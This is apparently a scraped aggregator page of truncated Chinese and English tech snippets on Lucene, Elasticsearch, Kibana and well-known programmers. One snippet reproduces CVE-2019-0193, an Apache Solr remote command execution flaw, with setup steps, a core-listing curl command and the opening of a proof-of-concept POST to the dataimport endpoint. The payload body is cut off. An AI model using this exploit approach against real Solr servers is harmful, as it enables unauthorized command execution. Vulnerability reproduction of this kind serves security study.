lucene

Apache Lucene 8.4.1 How to get indexed fields and term list?

半城伤御伤魂 提交于 2021-02-04 19:58:11
问题 I'am new to Apache Lucene, I'm using Apache Lucene 8.4.1, I can do Lucene Indexing and Searching but don't know how to read and list index / print index using java. How to get indexed fields and term list ? . I was able to get Fileds list by using following function grabbed from Other Stackoverflow article. public static String[] getFieldNames(IndexReader reader) { List<String> fieldNames = new ArrayList<String>(); //For a simple reader over only one index, reader.leaves() should only return

CVE-2019-0193:Apache Solr远程命令执行漏洞复现

烂漫一生 提交于 2021-02-04 09:52:00
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x02 环境搭建 下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 在本地解压,进入solr-7.7.2目录,执行命令 bin/solr -e dih (前提:java环境) 然后访问 http://localhost:8983/solr 即可访问环境 0x03 漏洞利用 首先我们可以通过接口 curl http://127.0.0.1:8983/solr/admin/cores 来获取所有 core 信息,下面我们构造 payload 需要 name 信息 在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处) POST /solr/<your_core_name>/dataimport HTTP/1.1 Host : 127.0.0.1:8983 Content-Length : 763 User-Agent : Mozilla/5.0 Content-type : application/x-www

Optimize API for reducing the segments and eliminating ES deleted docs not working

懵懂的女人 提交于 2021-02-04 07:31:05
问题 This is in continuation of my previous question Does huge number of deleted doc count affects ES query performance related to deleted docs in my ES index. As pointed in the answer, I used optimize API as I am using the ES 1.X version where force merge API is not available but after reading about optimize API github link(provided earlier as couldn't find it on ES site) by Say Bannon founder of elastic, looks like it does the same work. I got the success message for my index after running the

还不会Linux命令看日志?试试Kibana吧,可视化看日志!

我的梦境 提交于 2021-02-04 03:01:04
你知道的越多,不知道的就越多,业余的像一棵小草! 你来,我们一起精进!你不来,我和你的竞争对手一起精进! 编辑:业余草 cnblogs.com/cjsblog/p/9476813.html 推荐:https://www.xttblog.com/?p=5151 Kibana是一个开源的分析和可视化平台,设计用于和Elasticsearch一起工作。 你用Kibana来搜索,查看,并和存储在Elasticsearch索引中的数据进行交互。 你可以轻松地执行高级数据分析,并且以各种图标、表格和地图的形式可视化数据。 Kibana使得理解大量数据变得很容易。它简单的、基于浏览器的界面使你能够快速创建和共享动态仪表板,实时显示Elasticsearch查询的变化。 1. 安装Kibana img img 2. Kibana配置 https://www.elastic.co/guide/en/kibana/current/settings.html 3. 访问Kibana Kibana是一个Web应用程序,你可以通过5601来访问它。例如:localhost:5601 或者 http://YOURDOMAIN.com:5601 当访问Kibana时,默认情况下,Discover页面加载时选择了默认索引模式。时间过滤器设置为最近15分钟,搜索查询设置为match-all(*) 3.1.

全球当下最厉害的14位程序员,说没听过简直离谱~

て烟熏妆下的殇ゞ 提交于 2021-01-31 09:15:22
全球最厉害的14位程序员都有哪些人?接下来让我们一起来看一下让业界膜拜的这十几位顶级编程大神。 注意,排名不分先后。 01 Jon Skeet 个人名望: 程序技术问答网站Stack Overflow总排名第一的大神,每月的问答量保持在425个左右。 个人简介/主要荣誉: 谷歌软件工程师,代表作有《深入理解C#(C# In Depth)》。 网络上对Jon Skeet的评价: “他根本不需要调试器,只要他盯一下代码,错误之处自会原形毕露。” “如果他的代码没有通过编译的时候,编译器就会道歉。” “他根本不需要什么编程规范,他的代码就是编程规范。” 02 Gennady Korotkevich 个人声望: 编程大赛神童 个人简介/主要荣誉: 年仅11岁时便参加国际信息学奥林比克竞赛,创造了最年轻选手的记录。在2007-2012年间,总共取得6枚奥赛金牌;2013年美国计算机协会编程比赛冠军队成员;2014年Facebook黑客杯冠军得主。 截止目前,稳居俄编程网站Codeforces声望第一的宝座,在TopCoder算法竞赛中暂列榜眼位置。 网络上对Gennady Korotkevich的评价: “一个编程神童。” “他太令人惊讶了,他相当于我在白俄罗斯建立了一支强大的编程队伍。” “彻底的编程天才。” 03 Linus Torvalds 个人名望: Linux之父 个人简介

全球当下最厉害的14位程序员,说没听过简直离谱~

99封情书 提交于 2021-01-31 09:01:14
Python实战社群 Java实战社群 长按识别下方二维码, 按需求添加 扫码关注添加客服 进Python社群▲ 扫码关注添加客服 进Java社群 ▲ 来源丨IT World整理自网络 全球最厉害的14位程序员都有哪些人?接下来让我们一起来看一下让业界膜拜的这十几位顶级编程大神。 注意,排名不分先后。 01 Jon Skeet 个人名望: 程序技术问答网站Stack Overflow总排名第一的大神,每月的问答量保持在425个左右。 个人简介/主要荣誉: 谷歌软件工程师,代表作有《深入理解C#(C# In Depth)》。 网络上对Jon Skeet的评价: “他根本不需要调试器,只要他盯一下代码,错误之处自会原形毕露。” “如果他的代码没有通过编译的时候,编译器就会道歉。” “他根本不需要什么编程规范,他的代码就是编程规范。” 02 Gennady Korotkevich 个人声望: 编程大赛神童 个人简介/主要荣誉: 年仅11岁时便参加国际信息学奥林比克竞赛,创造了最年轻选手的记录。在2007-2012年间,总共取得6枚奥赛金牌;2013年美国计算机协会编程比赛冠军队成员;2014年Facebook黑客杯冠军得主。 截止目前,稳居俄编程网站Codeforces声望第一的宝座,在TopCoder算法竞赛中暂列榜眼位置。 网络上对Gennady Korotkevich的评价:

Does Lucene support Faceted Search with Multiple Field Values

倾然丶 夕夏残阳落幕 提交于 2021-01-29 20:18:25
问题 I am reading this article from http://www.devatwork.nl/index.php/articles/lucenenet/faceted-search-and-drill-down-lucenenet/ The author did not say whether Lucene support storing multiple values in each field. To follow the example in the article, a book may have multiple genres and multiple authors. Is it possible to store more than one genres in the genre field? Is it also possible to perform searches using multiple genres or multiple authors? The result should return a document if matching

Return position and highlighting of search queries in Elasticsearch

大城市里の小女人 提交于 2021-01-29 18:05:30
问题 I am using the official Elasticsearch-PHP client installed on a personal Debian server, and what I am trying to do involves indexing, searching and highlighting individual documents. i.e. each search result will only return one document - which will then be highlighted for "simple query string" searches. I am also using FVH (fast vector highlighting). My question is similar to this one Position as result, instead of highlighting and the test code is basically the same so I won't repeat that

facets and doing some filtering based on facets

浪尽此生 提交于 2021-01-29 15:50:16
问题 I have a question about facets and doing some filtering based on facets. i know this is a repeated question but i am unable find the answer. i would like to know how can i implement the same functionality in elastic search. lets asume that I have an index about cars and some facets -- eg. model and color. color [ ] red (10) [ ] blue (5) [ ] green (2) model [ ] bmw (4) [ ] vw (5) [ ] ford (8) if I select a model I would like to get only color facets for that model, but I still would like to

Using nested values in script_score

北战南征 提交于 2021-01-29 13:50:00
问题 I am attempting to use nested values in a script score, but I am having issues making it work, because I am unable to iterate over the field by accessing it through doc . Also, when I try to query it in Kibana like _type:images AND _exists_:colors , it will not match any documents, even though the field is clearly present in all my docs when I view them individually. I am however able to access it using params._source , but I have read that it can be slow slow and is not really recommended. I